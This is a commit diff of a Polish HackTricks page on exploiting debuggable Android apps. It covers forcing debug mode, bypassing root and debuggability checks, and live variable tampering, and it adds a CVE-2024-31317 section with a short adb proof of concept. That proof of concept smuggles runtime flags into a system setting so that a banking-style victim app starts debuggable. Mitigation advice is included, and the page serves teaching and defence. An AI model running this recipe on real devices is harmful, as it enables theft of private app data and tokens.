Translated ['src/mobile-pentesting/android-app-pentesting/exploiting-a-d

This commit is contained in:
Translator 2025-07-28 16:29:51 +00:00
parent ba8ef8a63d
commit 62d9188ffd

View File

@ -2,11 +2,11 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
# **Omijanie kontroli root i debugowalności** # **Obchodzenie kontroli root i debugowalności**
Ta sekcja posta jest podsumowaniem z posta [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) Ta sekcja posta jest podsumowaniem z posta [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
## Kroki, aby uczynić aplikację Android debugowalną i ominąć kontrole ## Kroki, aby uczynić aplikację Android debugowalną i obejść kontrole
### **Uczynienie aplikacji debugowalną** ### **Uczynienie aplikacji debugowalną**
@ -15,7 +15,7 @@ Treść oparta na https://medium.com/@shubhamsonani/hacking-with-precision-bypas
1. **Dezkompilacja APK:** 1. **Dezkompilacja APK:**
- Wykorzystaj narzędzie APK-GUI do dezkompilacji APK. - Wykorzystaj narzędzie APK-GUI do dezkompilacji APK.
- W pliku _android-manifest_ wstaw `android:debuggable=true`, aby włączyć tryb debugowania. - W pliku _android-manifest_ wstaw `android:debuggable="true"`, aby włączyć tryb debugowania.
- Ponownie skompiluj, podpisz i zipalignuj zmodyfikowaną aplikację. - Ponownie skompiluj, podpisz i zipalignuj zmodyfikowaną aplikację.
2. **Zainstaluj zmodyfikowaną aplikację:** 2. **Zainstaluj zmodyfikowaną aplikację:**
@ -26,14 +26,14 @@ Treść oparta na https://medium.com/@shubhamsonani/hacking-with-precision-bypas
- Wykonaj `adb shell pm list packages 3`, aby wylistować aplikacje firm trzecich i znaleźć nazwę pakietu. - Wykonaj `adb shell pm list packages 3`, aby wylistować aplikacje firm trzecich i znaleźć nazwę pakietu.
4. **Ustaw aplikację na oczekiwanie na połączenie debugera:** 4. **Ustaw aplikację, aby czekała na połączenie debuggera:**
- Polecenie: `adb shell am setup-debug-app w <package_name>`. - Polecenie: `adb shell am setup-debug-app w <package_name>`.
- **Uwaga:** To polecenie musi być uruchamiane za każdym razem przed uruchomieniem aplikacji, aby upewnić się, że czeka na debuger. - **Uwaga:** To polecenie musi być uruchamiane za każdym razem przed uruchomieniem aplikacji, aby upewnić się, że czeka na debuggera.
- Aby uzyskać trwałość, użyj `adb shell am setup-debug-app w -persistent <package_name>`. - Aby uzyskać trwałość, użyj `adb shell am setup-debug-app w persistent <package_name>`.
- Aby usunąć wszystkie flagi, użyj `adb shell am clear-debug-app <package_name>`. - Aby usunąć wszystkie flagi, użyj `adb shell am clear-debug-app <package_name>`.
5. **Przygotowanie do debugowania w Android Studio:** 5. **Przygotuj się do debugowania w Android Studio:**
- Przejdź w Android Studio do _File -> Open Profile or APK_. - Przejdź w Android Studio do _File -> Open Profile or APK_.
- Otwórz ponownie skompilowane APK. - Otwórz ponownie skompilowane APK.
@ -41,9 +41,9 @@ Treść oparta na https://medium.com/@shubhamsonani/hacking-with-precision-bypas
6. **Ustaw punkty przerwania w kluczowych plikach Java:** 6. **Ustaw punkty przerwania w kluczowych plikach Java:**
- Umieść punkty przerwania w `MainActivity.java` (szczególnie w metodzie `onCreate`), `b.java` i `ContextWrapper.java`. - Umieść punkty przerwania w `MainActivity.java` (szczególnie w metodzie `onCreate`), `b.java` i `ContextWrapper.java`.
### **Omijanie kontroli** ### **Obchodzenie kontroli**
Aplikacja w pewnych momentach będzie weryfikować, czy jest debugowalna i sprawdzi również binaria wskazujące na zrootowane urządzenie. Debugger może być użyty do modyfikacji informacji o aplikacji, usunięcia bitu debugowalności i zmiany nazw wyszukiwanych binariów, aby ominąć te kontrole. Aplikacja w pewnych momentach będzie weryfikować, czy jest debugowalna, a także sprawdzi, czy istnieją binaria wskazujące na zrootowane urządzenie. Debugger może być użyty do modyfikacji informacji o aplikacji, usunięcia bitu debugowalności i zmiany nazw wyszukiwanych binariów, aby obejść te kontrole.
Dla kontroli debugowalności: Dla kontroli debugowalności:
@ -53,13 +53,13 @@ Dla kontroli debugowalności:
![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png) ![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png)
Te kroki zbiorczo zapewniają, że aplikacja może być debugowana i że pewne kontrole bezpieczeństwa mogą być omijane przy użyciu debuggera, co ułatwia bardziej szczegółową analizę lub modyfikację zachowania aplikacji. Te kroki zbiorczo zapewniają, że aplikacja może być debugowana i że pewne kontrole bezpieczeństwa mogą być obchodzone przy użyciu debuggera, co ułatwia bardziej szczegółową analizę lub modyfikację zachowania aplikacji.
Krok 2 polega na zmianie wartości flagi na 814267972, co w reprezentacji binarnej jest 110000101101000000100010100. Krok 2 polega na zmianie wartości flagi na 814267972, która jest reprezentowana w postaci binarnej jako 110000101101000000100010100.
# **Wykorzystywanie luki** # **Wykorzystywanie luki**
Demonstrowano to przy użyciu podatnej aplikacji zawierającej przycisk i textview. Początkowo aplikacja wyświetla "Crack Me". Celem jest zmiana wiadomości z "Try Again" na "Hacked" w czasie rzeczywistym, bez modyfikacji kodu źródłowego. Demonstrowano to przy użyciu podatnej aplikacji zawierającej przycisk i textview. Początkowo aplikacja wyświetla "Crack Me". Celem jest zmiana komunikatu z "Spróbuj ponownie" na "Hacked" w czasie rzeczywistym, bez modyfikacji kodu źródłowego.
## **Sprawdzanie podatności** ## **Sprawdzanie podatności**
@ -75,17 +75,53 @@ Demonstrowano to przy użyciu podatnej aplikacji zawierającej przycisk i textvi
## **Wstrzykiwanie kodu w czasie rzeczywistym** ## **Wstrzykiwanie kodu w czasie rzeczywistym**
- Wykorzystanie luki odbyło się poprzez ustawienie punktów przerwania i kontrolowanie przepływu aplikacji. - Wykorzystanie zostało przeprowadzone poprzez ustawienie punktów przerwania i kontrolowanie przepływu aplikacji.
- Użyto poleceń takich jak `classes` i `methods <class_name>`, aby odkryć strukturę aplikacji. - Użyto poleceń takich jak `classes` i `methods <class_name>`, aby odkryć strukturę aplikacji.
- Ustawiono punkt przerwania w metodzie `onClick`, a jego wykonanie było kontrolowane. - Ustawiono punkt przerwania w metodzie `onClick`, a jego wykonanie było kontrolowane.
- Polecenia `locals`, `next` i `set` były używane do inspekcji i modyfikacji zmiennych lokalnych, szczególnie zmieniając wiadomość "Try Again" na "Hacked". - Polecenia `locals`, `next` i `set` były używane do inspekcji i modyfikacji lokalnych zmiennych, szczególnie zmieniając komunikat "Spróbuj ponownie" na "Hacked".
- Zmodyfikowany kod został wykonany przy użyciu polecenia `run`, skutecznie zmieniając wynik aplikacji w czasie rzeczywistym. - Zmodyfikowany kod został wykonany przy użyciu polecenia `run`, skutecznie zmieniając wyjście aplikacji w czasie rzeczywistym.
Ten przykład demonstruje, jak można manipulować zachowaniem debugowalnej aplikacji, podkreślając potencjał bardziej złożonych exploitów, takich jak uzyskanie dostępu do powłoki na urządzeniu w kontekście aplikacji. Ten przykład pokazał, jak można manipulować zachowaniem debugowalnej aplikacji, podkreślając potencjał bardziej złożonych exploitów, takich jak uzyskanie dostępu do powłoki na urządzeniu w kontekście aplikacji.
## Referencje ---
# 2024 Przekształcanie **dowolnej** aplikacji w proces debugowalny (CVE-2024-31317)
Nawet jeśli docelowy APK _nie_ jest dostarczany z flagą `android:debuggable`, niedawne badania wykazały, że możliwe jest wymuszenie **dowolnych aplikacji** do uruchomienia z flagą runtime `DEBUG_ENABLE_JDWP`, nadużywając sposób, w jaki Zygote analizuje argumenty wiersza poleceń.
* **Luka:** Niewłaściwa walidacja `--runtime-flags` dostarczonych przez gniazdo poleceń Zygote pozwala atakującemu, który może uzyskać dostęp do `system_server` (na przykład za pośrednictwem uprzywilejowanego powłoki `adb`, która posiada uprawnienie `WRITE_SECURE_SETTINGS`), na wstrzyknięcie dodatkowych parametrów. Gdy stworzona komenda jest odtwarzana przez `system_server`, aplikacja ofiary jest forkowana jako _debugowalna_ i z wątkiem JDWP nasłuchującym. Problem jest śledzony jako **CVE-2024-31317** i został naprawiony w czerwcu 2024 roku w Biuletynie Bezpieczeństwa Androida.
* **Wpływ:** Pełny dostęp do odczytu/zapisu do prywatnego katalogu danych **dowolnej** aplikacji (w tym uprzywilejowanych, takich jak `com.android.settings`), kradzież tokenów, obejście MDM i w wielu przypadkach bezpośrednia droga do eskalacji uprawnień poprzez nadużywanie eksportowanych punktów IPC teraz-debugowalnego procesu.
* **Dotknięte wersje:** Android 9 do 14 przed poziomem łaty z czerwca 2024 roku.
## Szybki PoC
```bash
# Requires: adb shell (device must be <2024-06-01 patch-level)
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"
# 2. Launch the target app it will be forked with DEBUG_ENABLE_JDWP
adb shell monkey -p com.victim.bank 1
# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
adb jdwp # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
```
> Wartość stworzona w kroku 1 wyprowadza parser z „szybkiej ścieżki” i dodaje drugie syntetyczne polecenie, gdzie `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) jest akceptowane tak, jakby zostało dostarczone przez framework. Gdy aplikacja jest uruchamiana, otwierany jest gniazdo JDWP, a regularne sztuczki dynamicznego debugowania (zamiana metod, patchowanie zmiennych, żywe wstrzykiwanie Frida itp.) są możliwe **bez modyfikowania APK lub obrazu rozruchowego urządzenia**.
## Wykrywanie i łagodzenie
* Zastosuj łatkę do poziomu bezpieczeństwa **2024-06-01** (lub późniejszego) Google wzmocnił `ZygoteCommandBuffer`, aby kolejne polecenia nie mogły być przemycane w ten sposób.
* Ogranicz dostęp `WRITE_SECURE_SETTINGS` / `shell` na urządzeniach produkcyjnych. Eksploatacja wymaga tego uprawnienia, które normalnie posiadają tylko aplikacje ADB lub OEM z przywilejami.
* W flotach zarządzanych przez EMM/MDM wymuś `ro.debuggable=0` i odmów dostępu do powłoki za pomocą `adb disable-verifier`.
---
## Odniesienia
- [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) - [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
- [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications) - [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
- [https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html](https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html)
- [https://blog.flanker017.me/cve-2024-31317/](https://blog.flanker017.me/cve-2024-31317/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}